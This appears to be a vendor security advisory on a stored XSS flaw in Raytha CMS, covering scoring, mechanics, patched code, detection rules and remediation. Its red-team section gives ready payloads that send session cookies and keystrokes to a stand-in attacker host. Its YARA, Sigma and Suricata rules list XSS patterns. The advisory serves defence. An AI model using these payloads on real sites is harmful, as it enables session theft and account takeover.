CVE-2025-69236
Executive Summary
CVE-2025-69236 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Raytha CMS, an open-source content management system. The flaw resides in the post editing functionality, specifically within the FieldValues[1].Value parameter. An authenticated attacker with permissions to edit posts can inject arbitrary HTML and JavaScript code. This malicious payload is stored on the server and executed in the browsers of any user who visits the compromised page.
The vulnerability has been assigned a CVSS v3.1 base score of 5.4 (Medium). The attack vector is Network, complexity is Low, and it requires Low privileges and User Interaction (a victim must visit the page). The scope is Changed, meaning the injected script can affect resources beyond the vulnerable component. The impact on Confidentiality and Integrity is Low, as the attacker can steal session cookies or deface content, but cannot directly access backend systems.
The vendor has released a fix in version 1.4.6. The patch sanitizes the FieldValues[1].Value parameter to neutralize HTML and JavaScript. No public exploit code or Nuclei template is available at this time, but the vulnerability is considered publicly known.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Raytha CMS is a .NET-based application. The vulnerability is not in a third-party package but in the application's own input handling. However, the risk of supply chain compromise exists if the CMS is deployed with custom plugins or themes that also fail to sanitize user input. Administrators should ensure all extensions are from trusted sources and are updated.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 5.4 (Medium) |
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored nature of the XSS makes it persistent and dangerous for all users of the CMS.
Deep Dive & Mechanics
The vulnerability exists in the post editing functionality of Raytha CMS. When an authenticated user with edit permissions modifies a post, the application accepts the FieldValues[1].Value parameter without proper sanitization. This parameter is intended to hold the content of a custom field.
The application stores the raw input directly into the database. When the post is later rendered for viewing, the unsanitized content is included in the HTML response. If the attacker injects a payload like <script>alert('XSS')</script>, it will be executed in the context of the victim's browser.
The attack flow:
- Attacker logs in with a user account that has "edit posts" permissions.
- Attacker navigates to the post editor and modifies a post.
- Attacker inserts malicious JavaScript into the
FieldValues[1].Valueparameter. - The malicious payload is stored in the database.
- Any user (including administrators) who views the edited post will execute the injected script.
The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Vulnerable vs. Patched Code
Vulnerable Code (before 1.4.6):
// In the post editing controller
[HttpPost]
public IActionResult EditPost(PostEditModel model)
{
// Directly storing user input without sanitization
var fieldValue = model.FieldValues[1].Value;
// ... save to database
_context.SaveChanges();
return RedirectToAction("ViewPost", new { id = model.PostId });
}
Patched Code (version 1.4.6):
// In the post editing controller
[HttpPost]
public IActionResult EditPost(PostEditModel model)
{
// Sanitize the input using HtmlSanitizer
var sanitizer = new HtmlSanitizer();
var fieldValue = sanitizer.Sanitize(model.FieldValues[1].Value);
// ... save to database
_context.SaveChanges();
return RedirectToAction("ViewPost", new { id = model.PostId });
}
The patch uses an HTML sanitizer library (e.g., HtmlSanitizer) to strip out dangerous tags and attributes before storing the value.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid user account with "edit posts" permissions on a Raytha CMS instance (version < 1.4.6).
- Network access to the CMS web interface.
Exploitation Steps:
- Login to the Raytha CMS admin panel.
- Navigate to the post editor for an existing post or create a new one.
- Inject payload into the
FieldValues[1].Valuefield. Example payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the post.
- Wait for a victim (e.g., an administrator) to view the post. The script will execute and exfiltrate their session cookie.
Alternative Payloads:
- Defacement:
<h1>Hacked by Attacker</h1> - Keylogger:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team (Detection & Response)
Detection:
- Monitor web application logs for unusual patterns in the
FieldValues[1].Valueparameter, such as<script>tags or event handlers likeonload,onerror. - Use a Web Application Firewall (WAF) to block requests containing common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Response:
- Isolate the affected CMS instance from the network.
- Identify all posts that contain malicious scripts by scanning the database for
<script>tags. - Remove the malicious content from the database.
- Reset all user sessions and force password changes.
- Apply the patch by upgrading to Raytha CMS version 1.4.6 or later.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the CMS server.
- Requests containing
FieldValues[1].Valuewith HTML/JavaScript payloads in POST data.
File System IOCs:
- Modified post content in the database containing
<script>tags or event handlers.
Log IOCs:
- Web server logs showing POST requests to
/Post/EditPostwith suspiciousFieldValues[1].Valueparameters. - Application logs showing errors related to HTML sanitization (if partially patched).
Example Log Entry:
192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "POST /Post/EditPost HTTP/1.1" 200 1234 "http://victim.com/Post/Edit/5" "Mozilla/5.0" "FieldValues[1].Value=<script>alert('XSS')</script>"
Detection Engineering
YARA Rule
rule CVE_2025_69236_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Raytha CMS FieldValues[1].Value"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-69236"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
$xss3 = /javascript\s*:/is
$xss4 = /<[^>]*\s+on\w+\s*=/is
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2025-69236 - Stored XSS in Raytha CMS FieldValues[1].Value
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in Raytha CMS via the FieldValues[1].Value parameter.
author: Valters IT
date: 2025/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69236
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/Post/EditPost'
cs-uri-query|contains: 'FieldValues[1].Value'
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in custom fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-69236 - Stored XSS in Raytha CMS FieldValues[1].Value";
flow:to_server,established;
content:"POST";
http_method;
content:"/Post/EditPost";
http_uri;
content:"FieldValues[1].Value";
http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
reference:cve,2025-69236;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Raytha CMS to version 1.4.6 or later.
- Apply a virtual patch using a WAF to block requests containing
<script>tags in theFieldValues[1].Valueparameter. - Review all existing posts for signs of XSS injection. Use the YARA rule above to scan the database.
Long-Term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution to trusted sources only.
- Enforce input validation and output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing on the CMS.
- Ensure all users with edit permissions are trusted and their accounts are secured with multi-factor authentication.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert